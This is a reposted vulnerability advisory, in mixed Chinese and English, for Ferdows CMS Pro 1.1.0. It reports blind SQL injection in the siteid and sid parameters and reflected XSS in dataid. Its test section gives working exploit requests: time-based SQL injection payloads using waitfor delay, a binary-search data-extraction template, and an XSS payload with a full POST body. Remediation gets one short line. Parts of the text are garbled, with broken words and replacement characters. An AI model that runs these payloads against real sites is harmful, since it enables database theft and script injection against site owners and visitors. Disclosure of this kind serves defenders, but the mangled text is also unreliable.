AmnPardaz Security Research Team
标题: Ferdows CMS Pro <=1.1.0 Multiple Vulnerabilities
作者: www.fcms.ir www.2cto.com
影响版本: 1.1.0 (Pro)
1. 问题描述:
Ferdows CMS is a complete, fully featured CMS in ASP.NET language and
using AJAX technology with MSSQL and became a powerful CMS having plenty
of strong modules.
This CMS is not open-source and is accessible for private use by the
author company for designing their customer's websites.
2. 缺陷列表
2.1. Injection Flaws. Blind SQL Injection in "/about. asp x" and
"/archive.aspx" and
"/default1.aspx" in "siteid" parameter.
2.1.1. Exploit:
Check the exploit/POC section.
2.2. Injection Flaws. archive.aspx页面sid参数盲注
parameter.
2.2.1. Exploit:
Check the exploit/POC section.
2.3. Cross Site Scripting (XSS). Reflected XSS attack in
"/showdata.aspx" in "dataid"
parameter. (Post Method)
2.3.1. Exploit:
Check the exploit/POC section.
3. 测试:
3.1. Injection Flaws. Blind SQL Injection in "/about.aspx" and
"/archive.aspx" and
"/default1.aspx" in "siteid" parameter.
3.2. Injection Flaws. Blind SQL Injection in "/archive.aspx" in "sid"
parameter.
-------------
Check database username:
http://[www.2cto.com]/default1.aspx?siteid=1'; IF SYSTEM_USER='sa' waitfor delay
'00:00:10'--
http://[www.2cto.com]/archive.aspx?sid=19&siteid=1'; IF SYSTEM_USER='sa' waitfor
delay
'00:00:10'--
http://[www.2cto.com]/archive.aspx?sid=19'; IF SYSTEM_USER='sa' waitfor delay
'00:00:10'--&siteid=1
Binary Search Exploits:
http://[www.2cto.com]/about.aspx?siteid=1'; IF ASCII(SUBSTRING((�),i,1)) > k
waitfor delay
'00:00:10'--
Note: In last POC, i is the i-th byte returned by the one-row subquery
(�) and k is the
current middle value of the binary search.
-------------
3.3. Cross Site Scripting (XSS). Reflected XSS attack in
"/showdata.aspx" in "dataid"
parameter. (POST METHOD)
-------------
http://[www.2cto.com]/showdata.aspx?dataid=%22%20onmou seo ver%3Dprompt%28%27XSS-from-BugReport%27%29%20continue%3D%22&siteid=1
__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2fwEWBQKh%2f8jADgKprNPRAQKe%2b%2bCDCwKY38eYCQLRmu35DOB6MkYbirW%2fduDB97KKNKznAXjO&__VIEWSTATE=%2fwEPDwUKMTc1Nzk5Nzk1MGQYAgU0Y3RsMDAkQ29udGVudFBsYWNlSG9sZGVyMSRWaWV3cG9pbnQxJENhcHRjaGFDb250cm9sMQ8FJDc4OTg0YzkzLThiOWQtNDczZi04OTExLWYwZjcxODRiODFiOWQFMWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlcjEkVmlld3BvaW50MSRHVl9WaWV3UG9pbnQPPCsACgEIZmTsHHUhMC543Vq3m%2fWANPP5J1edvw%3d%3d&ctl00%24ContentPlaceHolder1%24Viewpoint1%24CaptchaControl1=&ctl00%24ContentPlaceHolder1%24Viewpoint1%24sendvp=%d8%a7%d8%b1%d8%b3%d8%a7%d9%84&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_body=&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_email=sample@email.tst&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_name=testt
-------------
4. 解决方案
过滤保证无非法输入
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